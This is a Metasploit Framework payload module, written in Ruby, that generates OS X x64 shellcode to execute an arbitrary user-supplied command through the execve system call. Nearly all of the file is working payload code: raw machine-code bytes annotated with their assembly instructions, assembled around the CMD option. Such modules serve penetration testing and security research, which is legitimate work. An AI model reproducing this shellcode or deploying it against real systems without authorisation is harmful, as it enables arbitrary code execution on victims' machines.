metasploit-framework/modules/payloads/singles/osx/x64/exec.rb

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##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
module Metasploit3
include Msf::Payload::Single
def initialize(info = {})
super(merge_info(info,
'Name' => 'OSX x64 Execute Command',
'Version' => '$Revision$',
'Description' => 'Execute an arbitrary command',
'Author' => 'argp <argp[at]census-labs.com>',
'License' => MSF_LICENSE,
'Platform' => 'osx',
'Arch' => ARCH_X86_64
))
# exec payload options
register_options(
[
OptString.new('CMD', [ true, "The command string to execute" ]),
], self.class)
end
# build the shellcode payload dynamically based on the user-provided CMD
def generate
cmd = (datastore['CMD'] || '') << "\x00"
call = "\xe8" + [cmd.length].pack('V')
payload =
"\x48\x31\xc0" + # xor rax, rax
"\x48\xb8\x3b\x00\x00\x02\x00\x00\x00\x00" + # mov rax, 0x200003b (execve)
call + # call CMD.len
cmd + # CMD
"\x48\x8b\x3c\x24" + # mov rdi, [rsp]
"\x48\x31\xd2" + # xor rdx, rdx
"\x52" + # push rdx
"\x57" + # push rdi
"\x48\x89\xe6" + # mov rsi, rsp
"\x0f\x05" # syscall
end
end